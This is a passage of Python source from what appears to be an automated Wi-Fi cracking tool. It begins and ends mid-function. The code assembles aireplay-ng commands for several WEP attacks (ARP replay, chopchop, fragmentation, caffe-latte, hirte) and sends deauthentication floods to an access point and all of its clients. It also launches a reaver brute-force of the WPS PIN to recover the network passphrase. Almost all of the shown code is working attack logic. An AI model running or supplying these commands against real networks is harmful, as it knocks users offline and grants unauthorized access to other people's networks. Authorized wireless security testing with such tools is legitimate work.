            cmd.append(iface)

            proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
            started = time.time()
            while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
            if time.time() - started > max_wait:
                send_interrupt(proc_fakeauth)
                print R+'failed'+W,
                stdout.flush()
                time.sleep(0.5)
                continue

            result = proc_fakeauth.communicate()[0].lower()
            if result.find('switching to shared key') != -1 or \
                 result.find('rejects open system'): pass
            if result.find('association successful') != -1:
                print G+'success!'+W
                return True

            print R+'failed'+W,
            stdout.flush()
            time.sleep(0.5)
            continue
        print ''
        return False

    def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
        """
Returns aireplay-ng command line arguments based on parameters.
"""
        cmd = ''
        if attack_num == 0:
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--arpreplay',
                   '-b', target.bssid,
                   '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
            if client_mac != '':
                cmd.append('-h')
                cmd.append(client_mac)
            elif len(clients) > 0:
                cmd.append('-h')
                cmd.append(clients[0].bssid)
            cmd.append(iface)

        elif attack_num == 1:
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--chopchop',
                   '-b', target.bssid,
                   '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
                   '-m', '60', # Minimum packet length (bytes)
                   '-n', '82', # Maxmimum packet length
                   '-F'] # Automatically choose the first packet
            if client_mac != '':
                cmd.append('-h')
                cmd.append(client_mac)
            elif len(clients) > 0:
                cmd.append('-h')
                cmd.append(clients[0].bssid)
            cmd.append(iface)

        elif attack_num == 2:
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--fragment',
                   '-b', target.bssid,
                   '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
                   '-m', '100', # Minimum packet length (bytes)
                   '-F'] # Automatically choose the first packet
            if client_mac != '':
                cmd.append('-h')
                cmd.append(client_mac)
            elif len(clients) > 0:
                cmd.append('-h')
                cmd.append(clients[0].bssid)
            cmd.append(iface)

        elif attack_num == 3:
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--caffe-latte',
                   '-b', target.bssid]
            if len(clients) > 0:
                cmd.append('-h')
                cmd.append(clients[0].bssid)
            cmd.append(iface)

        elif attack_num == 4:
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--interactive',
                   '-b', target.bssid,
                   '-c', 'ff:ff:ff:ff:ff:ff',
                   '-t', '1', # Only select packets with ToDS bit set
                   '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
                   '-F', # Automatically choose the first packet
                   '-p', '0841']
            cmd.append(iface)

        elif attack_num == 5:
            if len(clients) == 0:
                print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients'
                return ''
            cmd = ['aireplay-ng',
                   '--ignore-negative-one',
                   '--cfrag',
                   '-h', clients[0].bssid,
                   iface]

        return cmd

    def wep_send_deauths(self, iface, target, clients):
        """
Sends deauth packets to broadcast and every client.
"""
        # Send deauth to broadcast
        cmd = ['aireplay-ng',
               '--ignore-negative-one',
               '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
               '-a', target.bssid,
               iface]
        call(cmd, stdout=DN, stderr=DN)
        # Send deauth to every client
        for client in clients:
            cmd = ['aireplay-ng',
                     '--ignore-negative-one',
                     '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
                     '-a', target.bssid,
                     '-h', client.bssid,
                     iface]
            call(cmd, stdout=DN, stderr=DN)


#################
# WPS FUNCTIONS #
#################
class WPSAttack(Attack):

    def __init__(self, iface, target, config):
        self.iface = iface
        self.target = target
        self.RUN_CONFIG = config

    def RunAttack(self):
        '''
Abstract method for initializing the WPS attack
'''
        self.attack_wps()

    def EndAttack(self):
        '''
Abstract method for ending the WPS attack
'''
        pass

    def attack_wps(self):
        """
Mounts attack against target on iface.
Uses "reaver" to attempt to brute force the PIN.
Once PIN is found, PSK can be recovered.
PSK is displayed to user and added to WPS_FINDINGS
"""
        print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \
                     (G, W, G+self.target.ssid+W+' ('+G+self.target.bssid+W+')'+W)

        cmd = ['reaver',
               '-i', self.iface,
               '-b', self.target.bssid,
               '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
               '-a', # auto-detect best options, auto-resumes sessions, doesn't require input!
               '-c', self.target.channel,
               # '--ignore-locks',
               '-vv'] # verbose output
        proc = Popen(cmd, stdout=DN, stderr=DN)

        cracked = False # Flag for when password/pin is found
        percent = 'x.xx%' # Percentage complete
        aps = 'x' # Seconds per attempt
        time_started = time.time()
        last_success = time_started # Time of last successful attempt
        last_pin = '' # Keep track of last pin tried (to detect retries)
        retries = 0 # Number of times we have attempted this PIN
        tries_total = 0 # Number of times we have attempted all pins
        tries = 0 # Number of successful attempts
        pin = ''
        key = ''

        try:
            while not cracked:
                time.sleep(1)

                if proc.poll() != None:
                    # Process stopped: Cracked? Failed?
                    inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')